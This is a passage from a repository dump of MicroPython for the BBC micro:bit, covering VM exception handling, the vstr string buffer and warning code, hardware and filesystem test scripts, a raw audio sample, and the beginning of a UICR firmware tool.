{ // 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte) b = c & 0xf; l = ((c << 4) & 0x700) | ip[1]; ip += 2; } if (bc >= b) { bc -= b; source_line += l; } else { // found source line corresponding to bytecode offset break; } } mp_obj_exception_add_traceback(MP_OBJ_FROM_PTR(nlr.ret_val), source_file, source_line, block_name); } while (currently_in_except_block) { // nested exception assert(exc_sp >= exc_stack); // TODO make a proper message for nested exception // at the moment we are just raising the very last exception (the one that caused the nested exception) // move up to previous exception handler POP_EXC_BLOCK(); } if (exc_sp >= exc_stack) { // set flag to indicate that we are now handling an exception currently_in_except_block = 1; // catch exception and pass to byte code code_state->ip = exc_sp->handler; mp_obj_t *sp = MP_TAGPTR_PTR(exc_sp->val_sp); // save this exception in the stack so it can be used in a reraise, if needed exc_sp->prev_exc = nlr.ret_val; // push exception object so it can be handled by bytecode PUSH(MP_OBJ_FROM_PTR(nlr.ret_val)); code_state->sp = sp; #if MICROPY_STACKLESS } else if (code_state->prev != NULL) { mp_globals_set(code_state->old_globals); code_state = code_state->prev; size_t n_state = mp_decode_uint_value(code_state->fun_bc->bytecode); fastn = &code_state->state[n_state - 1]; exc_stack = (mp_exc_stack_t*)(code_state->state + n_state); // variables that are visible to the exception handler (declared volatile) currently_in_except_block = MP_TAGPTR_TAG0(code_state->exc_sp); // 0 or 1, to detect nested exceptions exc_sp = MP_TAGPTR_PTR(code_state->exc_sp); // stack grows up, exc_sp points to top of stack goto unwind_loop; #endif } else { // propagate exception to higher level // TODO what to do about ip and sp? they don't really make sense at this point fastn[0] = MP_OBJ_FROM_PTR(nlr.ret_val); // must put exception here because sp is invalid return MP_VM_RETURN_EXCEPTION; } } } } ================================================ FILE: micropython/source/py/vstr.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/mpconfig.h" #include "py/misc.h" #include "py/mpprint.h" // returned value is always at least 1 greater than argument #define ROUND_ALLOC(a) (((a) & ((~0U) - 7)) + 8) // Init the vstr so it allocs exactly given number of bytes. Set length to zero. void vstr_init(vstr_t *vstr, size_t alloc) { if (alloc < 1) { alloc = 1; } vstr->alloc = alloc; vstr->len = 0; vstr->buf = m_new(char, vstr->alloc); vstr->fixed_buf = false; } // Init the vstr so it allocs exactly enough ram to hold a null-terminated // string of the given length, and set the length. void vstr_init_len(vstr_t *vstr, size_t len) { vstr_init(vstr, len + 1); vstr->len = len; } void vstr_init_fixed_buf(vstr_t *vstr, size_t alloc, char *buf) { vstr->alloc = alloc; vstr->len = 0; vstr->buf = buf; vstr->fixed_buf = true; } void vstr_init_print(vstr_t *vstr, size_t alloc, mp_print_t *print) { vstr_init(vstr, alloc); print->data = vstr; print->print_strn = (mp_print_strn_t)vstr_add_strn; } void vstr_clear(vstr_t *vstr) { if (!vstr->fixed_buf) { m_del(char, vstr->buf, vstr->alloc); } vstr->buf = NULL; } vstr_t *vstr_new(size_t alloc) { vstr_t *vstr = m_new_obj(vstr_t); vstr_init(vstr, alloc); return vstr; } void vstr_free(vstr_t *vstr) { if (vstr != NULL) { if (!vstr->fixed_buf) { m_del(char, vstr->buf, vstr->alloc); } m_del_obj(vstr_t, vstr); } } // Extend vstr strictly by requested size, return pointer to newly added chunk. char *vstr_extend(vstr_t *vstr, size_t size) { if (vstr->fixed_buf) { return NULL; } char *new_buf = m_renew(char, vstr->buf, vstr->alloc, vstr->alloc + size); char *p = new_buf + vstr->alloc; vstr->alloc += size; vstr->buf = new_buf; return p; } STATIC bool vstr_ensure_extra(vstr_t *vstr, size_t size) { if (vstr->len + size > vstr->alloc) { if (vstr->fixed_buf) { return false; } size_t new_alloc = ROUND_ALLOC((vstr->len + size) + 16); char *new_buf = m_renew(char, vstr->buf, vstr->alloc, new_alloc); vstr->alloc = new_alloc; vstr->buf = new_buf; } return true; } void vstr_hint_size(vstr_t *vstr, size_t size) { vstr_ensure_extra(vstr, size); } char *vstr_add_len(vstr_t *vstr, size_t len) { if (!vstr_ensure_extra(vstr, len)) { return NULL; } char *buf = vstr->buf + vstr->len; vstr->len += len; return buf; } // Doesn't increase len, just makes sure there is a null byte at the end char *vstr_null_terminated_str(vstr_t *vstr) { // If there's no more room, add single byte if (vstr->alloc == vstr->len) { if (vstr_extend(vstr, 1) == NULL) { return NULL; } } vstr->buf[vstr->len] = '\0'; return vstr->buf; } void vstr_add_byte(vstr_t *vstr, byte b) { byte *buf = (byte*)vstr_add_len(vstr, 1); if (buf == NULL) { return; } buf[0] = b; } void vstr_add_char(vstr_t *vstr, unichar c) { #if MICROPY_PY_BUILTINS_STR_UNICODE // TODO: Can this be simplified and deduplicated? // Is it worth just calling vstr_add_len(vstr, 4)? if (c < 0x80) { byte *buf = (byte*)vstr_add_len(vstr, 1); if (buf == NULL) { return; } *buf = (byte)c; } else if (c < 0x800) { byte *buf = (byte*)vstr_add_len(vstr, 2); if (buf == NULL) { return; } buf[0] = (c >> 6) | 0xC0; buf[1] = (c & 0x3F) | 0x80; } else if (c < 0x10000) { byte *buf = (byte*)vstr_add_len(vstr, 3); if (buf == NULL) { return; } buf[0] = (c >> 12) | 0xE0; buf[1] = ((c >> 6) & 0x3F) | 0x80; buf[2] = (c & 0x3F) | 0x80; } else { assert(c < 0x110000); byte *buf = (byte*)vstr_add_len(vstr, 4); if (buf == NULL) { return; } buf[0] = (c >> 18) | 0xF0; buf[1] = ((c >> 12) & 0x3F) | 0x80; buf[2] = ((c >> 6) & 0x3F) | 0x80; buf[3] = (c & 0x3F) | 0x80; } #else vstr_add_byte(vstr, c); #endif } void vstr_add_str(vstr_t *vstr, const char *str) { vstr_add_strn(vstr, str, strlen(str)); } void vstr_add_strn(vstr_t *vstr, const char *str, size_t len) { if (!vstr_ensure_extra(vstr, len)) { // if buf is fixed, we got here because there isn't enough room left // so just try to copy as much as we can, with room for a possible null byte if (vstr->fixed_buf && vstr->len < vstr->alloc) { len = vstr->alloc - vstr->len; goto copy; } return; } copy: memmove(vstr->buf + vstr->len, str, len); vstr->len += len; } char *vstr_ins_blank_bytes(vstr_t *vstr, size_t byte_pos, size_t byte_len) { size_t l = vstr->len; if (byte_pos > l) { byte_pos = l; } if (byte_len > 0) { // ensure room for the new bytes if (!vstr_ensure_extra(vstr, byte_len)) { return NULL; } // copy up the string to make room for the new bytes memmove(vstr->buf + byte_pos + byte_len, vstr->buf + byte_pos, l - byte_pos); // increase the length vstr->len += byte_len; } return vstr->buf + byte_pos; } void vstr_ins_byte(vstr_t *vstr, size_t byte_pos, byte b) { char *s = vstr_ins_blank_bytes(vstr, byte_pos, 1); if (s != NULL) { *s = b; } } void vstr_ins_char(vstr_t *vstr, size_t char_pos, unichar chr) { // TODO UNICODE char *s = vstr_ins_blank_bytes(vstr, char_pos, 1); if (s != NULL) { *s = chr; } } void vstr_cut_head_bytes(vstr_t *vstr, size_t bytes_to_cut) { vstr_cut_out_bytes(vstr, 0, bytes_to_cut); } void vstr_cut_tail_bytes(vstr_t *vstr, size_t len) { if (len > vstr->len) { vstr->len = 0; } else { vstr->len -= len; } } void vstr_cut_out_bytes(vstr_t *vstr, size_t byte_pos, size_t bytes_to_cut) { if (byte_pos >= vstr->len) { return; } else if (byte_pos + bytes_to_cut >= vstr->len) { vstr->len = byte_pos; } else { memmove(vstr->buf + byte_pos, vstr->buf + byte_pos + bytes_to_cut, vstr->len - byte_pos - bytes_to_cut); vstr->len -= bytes_to_cut; } } void vstr_printf(vstr_t *vstr, const char *fmt, ...) { va_list ap; va_start(ap, fmt); vstr_vprintf(vstr, fmt, ap); va_end(ap); } void vstr_vprintf(vstr_t *vstr, const char *fmt, va_list ap) { mp_print_t print = {vstr, (mp_print_strn_t)vstr_add_strn}; mp_vprintf(&print, fmt, ap); } ================================================ FILE: micropython/source/py/warning.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/emit.h" #include "py/runtime.h" #if MICROPY_WARNINGS void mp_warning(const char *msg, ...) { va_list args; va_start(args, msg); mp_print_str(&mp_plat_print, "Warning: "); mp_vprintf(&mp_plat_print, msg, args); mp_print_str(&mp_plat_print, "\n"); va_end(args); } void mp_emitter_warning(pass_kind_t pass, const char *msg) { if (pass == MP_PASS_CODE_SIZE) { mp_warning(msg, NULL); } } #endif // MICROPY_WARNINGS ================================================ FILE: micropython/tests/README.md ================================================ Tests ===== This directory contains script[s] that can be used to confirm various features of the micro:bit are working. They are as follows: * `exercise.py` - a general exercise of various aspects of the hardware. Not exhaustive and requires the user to press buttons A or B to move forward in the tests. Completes with a smile. * ??? - TBC ================================================ FILE: micropython/tests/exercise.py ================================================ # Exercises the micro:bit - NOT EXHAUSTIVE! from microbit import * import music import random # Press A to start. while True: if button_a.was_pressed(): break else: display.show(Image.ARROW_W) sleep(200) display.clear() sleep(200) # Asyncronously play a jolly little tune (connect speaker to pin0 and GND) music.play(music.NYAN, wait=False) # Grab all the built in images. images = [getattr(Image, img) for img in dir(Image) if type(getattr(Image, img)) == Image] # ... and cycle through them on the display. pause = 1000 for img in images: display.show(img) sleep(pause) pause -= 50 if pause < 100: pause = 100 display.clear() # Aural testing of the accelerometer. display.scroll("Accelerometer") display.show("X") while not button_a.is_pressed(): music.pitch(abs(accelerometer.get_x()), 20) sleep(500) display.show("Y") while not button_a.is_pressed(): music.pitch(abs(accelerometer.get_y()), 20) sleep(500) display.show("Z") while not button_a.is_pressed(): music.pitch(abs(accelerometer.get_z()), 20) # Aural testing of the compass. display.scroll("Compass") compass.calibrate() while not button_b.is_pressed(): music.pitch(abs(compass.heading()), 20) # Pixel brightness. display.scroll("Display") dots = [ [0]*5, [0]*5, [0]*5, [0]*5, [0]*5 ] while not button_a.is_pressed(): dots[random.randrange(5)][random.randrange(5)] = 9 for i in range(5): for j in range(5): display.set_pixel(i, j, dots[i][j]) dots[i][j] = max(dots[i][j] - 1, 0) sleep(50) # ??? Add further tests here... # Finished! display.scroll("Finished!") display.show(Image.HAPPY) ================================================ FILE: micropython/tests/radio_audio.py ================================================ import audio import radio from microbit import button_a, button_b, display, running_time, sleep import os def sample_generator(filename): buf = audio.AudioFrame() with open(filename, "rb") as file: ln = -1 while ln: ln = file.readinto(buf) yield buf # 1 second of 128Hz sawtooth wave. def sawtooth_generator(): sawtooth = audio.AudioFrame() for i in range(32): sawtooth[i] = i*8+4 for i in range(256): yield sawtooth def send(): display.clear() radio.on() radio.config(channel=90, power=4) if "sample.raw" in os.listdir(): gen = sample_generator("sample.raw") else: gen = sawtooth_generator() start = running_time() sent = 0 for f in gen: # One frame every 4ms = 8kHz while sent > ((running_time() - start) >> 2) + 3: sleep(1) radio.send_bytes(f) sent += 1 print(sent) def play(): display.clear() radio.on() radio.config(channel=90, queue=12) count = -1 def gen(): recvd = audio.AudioFrame() empty = audio.AudioFrame() while True: if radio.receive_bytes_into(recvd) == 32: yield recvd else: yield empty if button_a.is_pressed() and button_b.is_pressed(): return audio.play(gen()) while True: message = "Press button a to send 'sample.raw' or sawtooth wave. Press button b to play received waveform. Press both buttons to stop." display.scroll(message, delay=100, wait=False) message_end = running_time() + len(message)*600 if button_a.is_pressed() and button_b.is_pressed(): break while True: sleep(50) if button_a.is_pressed(): send() break if button_b.is_pressed(): play() break if running_time() > message_end: break ================================================ FILE: micropython/tests/sample.raw ================================================ ~~}|}}~~~~|zz{|}~~~{xz||||}}~~~~zuuwxxz|}}~~}~xqrtuwxz||}~~{}}~}}topruvwy{{~~~}|}~{zz}|zwkhlpststv|~zvuvzyrt{[X[Zbt|g[\[^o}uaUVcjlpsxRSSTz}]TVU_jwlPRO\p]ci|iHPIbb[RTW_XkgQMJ^w_fdrWGLI}slfaQRWYjYYT[u[Xfvz~[KfWyf\qSUxeoeu|Ua{bWg}L=TK`CH^i~}iOOAfb^toz;58Hbuw]OMUdpsr}k^_bZI=D`|w}qC356HexľxQ:35=Viq̬|VGGJPVb|xonlkhj|qF232LtQ45ANWl̬dPNMDF_ǦeKYghdabtR628W~îV;:LYhzn`\XUXjhVahgjmolB1=WtlRO[^\kueXXjdh}vhwzuA1DTcǴj]egZYky}tf`juturox~Q>JSR\nwżzl^QO^ov{wqqcB;]tp{dZ^b]]dkzthbcimln}cMS[W]s{vz_IJURO_rywhVT]_al{f?Ea[SsiNMOE@R`g}xe_ZNOXangPW[MQlvqgOLJ<9HQXo{oeVONR[jyuwucZge^k~dXSE:?IM\xylb][]dhku}yuyunr|~~}mbWMHEGP_oyyrmjhiikouy|~|xx{{|}~|yz~}rjbYXXTU^iq{{vrqroostsv{{z|zuwz{{~~~{wvttsrstrtxy}~||{zyxz||}|}}{xttvuw{}}}|{ywuttttsstuwz{}{zzyxx{{{z{}~~}~{yxwxxwvwz{{||}~}}|||~}~~~~}~}zzzyyyzy{}~~||}}{zzyvtvxzzxy}}~~}~~~~~~~~}~~|{|}~~|}}{wwwxyxxyz{}}|{|~|zxyyy{{~||}~~~~}}{z|}|}~~}|~}~~{{}zz{{|~~~}~~}~|{~~||~~~~}}}|}~}~}~~{|}||}|~|{}}|}|}~~}}~xp~}{|}~|}zz}zwx|}|}~~~~}~~}~}{{|{zz|~}|{zyxxz|ufiqdYgx{~}qqplkqx|quuXG]oeiqH>[\:ExuWP`^Wh}yjRIPRXan]]xb6Fquny_hkZUfxs[HWW@Lx~|aSlqJ>f~||\]kf[b{yieeYT\lor[Goi28n~zƭhMZ]QTfn`ZPN`bc{{rEdu<)iri?WdLOj}eYY[gwggs~zU:bb17rǡR;P[V^uyshZPQfxrrlswpk}{Z^tkTVs~aP_skd}ppvl]dw~vrnptnp~qhihXPc|oZ^ecex}xshdgovxtkdcgoz}ugEKxwn|b\pmddo}~ufezvuoyvlr|wwrrx~ztiqpddmz|qpsuux|zuqry}}yyzy{~|vrtwyy{{sxXZluxxzsrql_enktwv{}zurt{zvxyvvz}|~|{}~}~~~~}~~}~~|{{|~~}~~}~~~~}}}~|~}}}}~{{~~~~~~~~}~}~~~||}~~~}~}~~~~~~~~~o{~~}j|}uqzowp{tuvyop{vv|{{~}v||~}}|z|}~~z{~~~z}}|{|}}|~~~~~~~~}|}~~}~~~~|~~}}~}~zy}z|~}}~|~~~~~{~~}~{~~~}x}|z~|}}}|z}y~|~}~||~~}~}z}{{~~}}~~~}}~||}~{}}}ywyy}|}z||zz~|z~}}}~~|~~~}~y~}}~}}~|z}~~}~}}~~}|}~~~|}~}}~||~~{{~~}~|~~}~~~~~}~~}~}~~~~}~~~~}~~~~~~~~~~}~~~~~~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ================================================ FILE: micropython/tests/test_files.py ================================================ import os from microbit import display, Image def data_stream(seed): val = seed&0xffff A = 33 C = 509 while True: val = (A*val+C)&0xffff yield val >> 8 def text_stream(seed): val = seed&0xffff A = 33 C = 509 while True: val = (A*val+C)&0xffff yield chr(val >> 10 + 34) def write_data_to_file(name, seed, n, count): print ("Writing data to " + name) buf = bytearray(n) d = data_stream(seed) with open(name, 'wb') as fd: for i in range(count): for j in range(n): buf[j] = next(d) fd.write(buf) def verify_file(name, stream, n, count, mode): print ("Verifying data in " + name) byte_count = 0 with open(name, mode) as fd: while True: buf = fd.read(n) assert len(buf) <= n if not buf: break for b in buf: expected = next(stream) assert b == expected, "expected %d, got %d at %d" % (expected, b, byte_count) byte_count += 1 assert byte_count == n*count, "expected count of %d, got %d" % (n*count, byte_count) def write_text_to_file(name, seed, n, count): print ("Writing text to " + name) buf = bytearray(n) d = text_stream(seed) with open(name, 'w') as fd: for i in range(count): s = '' for j in range(n): s += next(d) fd.write(s) def clear_files(): for f in os.listdir(): os.remove(f) def test_small_files(): name = "test1.dat" write_data_to_file(name, 12, 16, 5) verify_file(name, data_stream(12), 20, 4, 'b') name = "test2.dat" write_data_to_file(name, 101, 64, 5) verify_file(name, data_stream(101), 32, 10, 'b') assert os.listdir() == [ "test1.dat", "test2.dat" ] os.remove("test1.dat") os.remove("test2.dat") assert not os.listdir() def test_text_file(): name = "test1.txt" write_text_to_file(name, 13, 16, 2) verify_file(name, text_stream(13), 16, 2, 't') name = "test2.txt" write_text_to_file(name, 35, 16, 5) verify_file(name, text_stream(35), 20, 4, 't') assert os.listdir() == [ "test1.txt", "test2.txt" ] os.remove("test1.txt") os.remove("test2.txt") assert not os.listdir() def test_many_files(): for i in range(80): name = "%d.dat" % i write_data_to_file(name, i*3, 16, 4) verify_file(name, data_stream(i*3), 16, 4, 'b') for i in range(80): os.remove("%d.dat" % i) name = "_%d.dat" % i write_data_to_file(name, i*3, 16, 4) verify_file(name, data_stream(i*3), 16, 4, 'b') for i in range(80): os.remove("_%d.dat" % i) assert not os.listdir() display.clear() try: clear_files() test_small_files() test_many_files() test_text_file() print("File test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_files2.py ================================================ import os from microbit import display, Image def data_stream(seed): val = seed&0xffff A = 33 C = 509 while True: val = (A*val+C)&0xffff yield val >> 8 def text_stream(seed): val = seed&0xffff A = 33 C = 509 while True: val = (A*val+C)&0xffff yield chr(val >> 10 + 34) def write_data_to_file(name, seed, n, count): print ("Writing data to " + name) buf = bytearray(n) d = data_stream(seed) with open(name, 'wb') as fd: for i in range(count): for j in range(n): buf[j] = next(d) fd.write(buf) def verify_file(name, stream, n, count, mode): print ("Verifying data in " + name) byte_count = 0 with open(name, mode) as fd: while True: buf = fd.read(n) assert len(buf) <= n if not buf: break for b in buf: expected = next(stream) assert b == expected, "expected %d, got %d at %d" % (expected, b, byte_count) byte_count += 1 assert byte_count == n*count, "expected count of %d, got %d" % (n*count, byte_count) def clear_files(): for f in os.listdir(): os.remove(f) def test_interleaved_small_files(): for i in range(80): name = "%d.dat" % i write_data_to_file(name, i*3, 16, 6) for i in range(0, 80, 2): os.remove("%d.dat" % i) for i in range(80, 120): name = "%d.dat" % i write_data_to_file(name, i*3, 16, 6) verify_file(name, data_stream(i*3), 16, 6, 'b') for i in range(1, 80, 2): os.remove("%d.dat" % i) for i in range(80, 120): os.remove("%d.dat" % i) assert not os.listdir() def test_interleaved_large_files(): out_buf = bytearray(100) for i in range(100): out_buf[i] = 100-i with open("test1.dat", "wb") as fd1: with open("test2.dat", "wb") as fd2: for i in range(60): fd1.write(out_buf) fd2.write(out_buf) os.remove("test2.dat") with open("test3.dat", "wb") as fd3: for i in range(60): fd3.write(out_buf) assert sorted(os.listdir()) == [ "test1.dat", "test3.dat" ] in_buf = bytearray(100) with open("test1.dat", "rb") as fd: for i in range(60): fd.readinto(in_buf) assert in_buf == out_buf with open("test3.dat", "rb") as fd: for i in range(60): fd.readinto(in_buf) assert in_buf == out_buf display.clear() try: clear_files() test_interleaved_small_files() test_interleaved_large_files() print("File test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_files3.py ================================================ import os from microbit import display, Image #We don't have space for Beowolf, so here's the next best thing... text = """ ’Twas brillig, and the slithy toves Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe. “Beware the Jabberwock, my son! The jaws that bite, the claws that catch! Beware the Jubjub bird, and shun The frumious Bandersnatch!” He took his vorpal sword in hand; Long time the manxome foe he sought— So rested he by the Tumtum tree And stood awhile in thought. And, as in uffish thought he stood, The Jabberwock, with eyes of flame, Came whiffling through the tulgey wood, And burbled as it came! One, two! One, two! And through and through The vorpal blade went snicker-snack! He left it dead, and with its head He went galumphing back. “And hast thou slain the Jabberwock? Come to my arms, my beamish boy! O frabjous day! Callooh! Callay!” He chortled in his joy. ’Twas brillig, and the slithy toves Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe. """ def test_read_while_writing(): j1 = open("jabbawocky.txt", "w") j1.write(text) j2 = open("jabbawocky.txt") short = j2.read() assert text.startswith(short) del j2 j1.close() j2 = open("jabbawocky.txt") assert j2.read() == text j2.close() os.remove("jabbawocky.txt") def test_removing_mid_read(): with open("jabbawocky.txt", "w") as j: j.write(text) j = open("jabbawocky.txt") os.remove("jabbawocky.txt") try: j.read() assert False, "Shouldn't reach here" except OSError: pass def test_removing_mid_write(): j = open("jabbawocky.txt", "w") os.remove("jabbawocky.txt") try: j.write(text) assert False, "Shouldn't reach here" except OSError: pass def test_repeated_write(): for i in range(40): with open("jabbawocky.txt", "w") as j: j.write(text) display.clear() try: test_read_while_writing() test_removing_mid_read() test_removing_mid_write() test_repeated_write() print("File test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_image.py ================================================ from microbit import display, Image def eq(i, j): w = i.width() h = i.height() if w != j.width(): return False if h != j.height(): return False for x in range(w): for y in range(h): if i.get_pixel(x,y) != j.get_pixel(x,y): return False return True TEST = Image("44444:45554:45654:45554:44444") def test_blit(): assert eq(TEST, TEST) i = Image(4, 4) i.blit(TEST, 1, 1, 5, 5) assert eq(i, Image("5554:5654:5554:4444")) i.fill(2) i.blit(TEST, -2, -2, 3, 3) assert eq(i, Image('0002:0002:0042:2222')) i.fill(2) i.blit(TEST, 2, 2, 3, 3) assert eq(i, Image('6542:5542:4442:2222')) i.fill(2) i.blit(TEST, 0, 0, 5, 5, -3, -3) assert eq(i, Image('5422:4422:2222:2222')) i.fill(2) i.blit(TEST, 2, 2, 2, 2, 1, 1) assert eq(i, Image('2222:2652:2552:2222')) i = TEST.copy() i.blit(i, 2, 2, 3, 3) assert eq(i, Image('65444:55454:44454:45554:44444')) i = TEST.copy() i.blit(i, -2, -2, 5, 5) assert eq(i, Image('00000:00000:00444:00455:00456')) i = TEST.copy() i.blit(i, 0, 0, 3, 3, 2, 2) assert eq(i, Image('44444:45554:45444:45455:44456')) i = Image(2, 7) i.fill(2) i.blit(TEST, -100, -100, 50, 50, 1, 1) assert eq(i, Image('22:20:20:20:20:20:20')) def test_crop(): assert eq(TEST.crop(-1, -1, 2, 2), Image('00:04')) assert eq(TEST.crop(1, 1, 2, 2), Image('55:56')) assert eq(TEST.crop(4, 4, 3, 3), Image('400:000:000')) def test_shift(): assert eq(TEST, TEST.shift_left(0)) assert eq(TEST, TEST.shift_up(0)) for n in range(-6, 7): assert eq(TEST.shift_left(n), TEST.shift_right(-n)) assert eq(TEST.shift_up(n), TEST.shift_down(-n)) assert eq(TEST.shift_left(1), Image('44440:55540:56540:55540:44440')) assert eq(TEST.shift_down(1), Image('00000:44444:45554:45654:45554')) try: display.scroll("blit") test_blit() display.scroll("crop") test_crop() display.scroll("shift") test_shift() print("Image test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_music.py ================================================ from microbit import display, Image, pin0, pin1, pin2, pin8 import music PINS = pin0, pin1, pin2, pin8 FREQS = 400, 500, 600, 700, 800, 900 def test_rapid_pin_switch(): for i in range(20): for pin in PINS: music.play(music.NYAN, pin, wait=False) def test_rapid_pitch_switch(): for i in range(20): for freq in FREQS: music.pitch(freq, wait=False) def test_repeated_stop(): for i in range(20): music.stop() def test_repeated_reset(): for i in range(20): music.reset() def test_repeated_set_tempo(): for i in range(20): music.set_tempo(ticks=i%4+1, bpm=i+100) def test_all_pins_free(): for pin in PINS: pin.read_digital() display.clear() try: test_rapid_pin_switch() test_rapid_pitch_switch() test_repeated_stop() test_repeated_reset() test_repeated_set_tempo() test_all_pins_free() print("File test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_pins.py ================================================ #This tests that the mode of pins can be configured properly and that pull works OK. from microbit import * import music BIG_PINS = pin0, pin1, pin2 DISPLAY_PINS = pin3, pin4, pin6, pin7, pin9, pin10 def test_mode_switching(): print ("Switching mode from analog to digital on big pins") for p0 in BIG_PINS: p0.write_analog(100) for p1 in BIG_PINS: p1.write_digital(0) p0.write_analog(0) for p in BIG_PINS: p.write_analog(100) assert p.get_mode() == "write_analog" p.read_digital() assert p.get_mode() == "read_digital" p.write_analog(0) assert p.get_mode() == "unused" p.write_digital(1) assert p.get_mode() == "write_digital" p.read_analog() assert p.get_mode() == "unused" def test_display_pins(): print ("Switching mode to digital for display pins") for p0 in DISPLAY_PINS: try: p0.write_digital(0) except ValueError: pass try: p0.write_analog(0) except ValueError: pass display.off() for p0 in DISPLAY_PINS: p0.write_digital(0) display.on() display.off() for p0 in DISPLAY_PINS: p0.write_analog(200) display.on() def test_music(): print ("Switching mode to digital for music pins") music.play(music.DADADADUM,pin=pin0,wait=False) try: pin0.write_digital(0) except ValueError: pass music.stop() pin0.write_digital(0) def test_pull(): print ("Setting pull on big pins") for p in BIG_PINS: p.read_digital() p.set_pull(p.PULL_UP) assert p.get_pull() == p.PULL_UP assert p.read_digital() p.set_pull(p.PULL_DOWN) assert p.get_pull() == p.PULL_DOWN assert p.read_digital() == 0 p.set_pull(p.NO_PULL) assert p.get_pull() == p.NO_PULL print ("Setting pull on display pins") display.off() for p in DISPLAY_PINS: p.read_digital() p.set_pull(p.PULL_UP) assert p.read_digital() p.set_pull(p.PULL_DOWN) assert p.read_digital() == 0 display.on() try: test_mode_switching() test_display_pins() test_music() test_pull() print("Pin test: PASS") display.show(Image.HAPPY) except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_pwm.py ================================================ #This tests that the duty cycle of PWM is (approximately) correct. from microbit import * def pins_connected(p0, p1): for i in 0,1,0,1,0,1,0,1: p0.write_digital(i) if p1.read_digital() != i: return False p1.write_digital(i) if p0.read_digital() != i: return False return True def test_pwm(p0, p1): #Flip between modes many times for i in range(100): pin0.write_digital(i & 1) pin0.write_analog(i*10) #Now make sure it is still working. p0.write_digital(0) for val in 100, 200, 300, 500, 800, 900: print("Testing duty cycle", val) p0.write_analog(val) sleep(20) count = 0 for i in range(10*1024): count += p1.read_digital() print("%+0.2f%%" % ((count-val*10)/val*10)) # Allow +- 5% assert abs(count - val*10) < val//2 try: if pins_connected(pin0, pin1): test_pwm(pin0, pin1) print("PWM test: PASS") display.show(Image.HAPPY) else: print("Connect pin0 to pin1") display.show("?") except Exception as ae: display.show(Image.SAD) raise ================================================ FILE: micropython/tests/test_random.py ================================================ # test the random module import random result = ('FAIL', 'PASS') # test getrandbits hist = 8 * [0] for i in range(300): r = random.getrandbits(3) hist[r] += 1 ok = all(h >= 10 for h in hist) print('getrandbits:', result[ok]) # test seed random.seed(0x1234567) r1 = random.getrandbits(10) random.seed(0x1234567) r2 = random.getrandbits(10) print('seed: ', result[r1 == r2]) # test randint is within the given range ok = True for i in range(100): if not 0 <= random.randint(0, 9) <= 9: ok = False print('randint: ', result[ok]) ================================================ FILE: micropython/tests/test_speech.py ================================================ # test speech module import microbit import speech def test_funcs(): print('Testing basic functions') ph = speech.translate('hello world') assert ph == ' /HEHLOW WERLD' speech.pronounce('PIHTHUN', pitch=32, speed=60, mouth=100, throat=150) speech.say('hello') speech.sing('YEHSTERDEY5') def test_sleep(): # check that sleep works ok with speech because they both use low-level timers # (this is really a test of the audio module) print('Testing sleep with speech') microbit.sleep(1) speech.say('hello world') microbit.sleep(1) def test_timing(): # test that speech takes the correct amount of time over many runs print('Testing timing of say function') for i in range(5): start = microbit.running_time() speech.say('hello world') microbit.sleep(1) stop = microbit.running_time() assert 800 < stop - start < 815 try: test_funcs() test_sleep() test_timing() print('Speech test: PASS') except Exception as ae: raise ================================================ FILE: micropython/tools/adduicr.py ================================================ #!/usr/bin/env python3 ''' Add a UICR region to the hex firmware for MicroPython on the micro:bit. Usage: ./adduicr.py [-o ] Output goes to stdout if no filename is given. ''' import sys import struct import argparse import hexlifyscript import makecombinedhex NRF_PAGE_SIZE_LOG2 = 10 NRF_PAGE_SIZE = 1 << 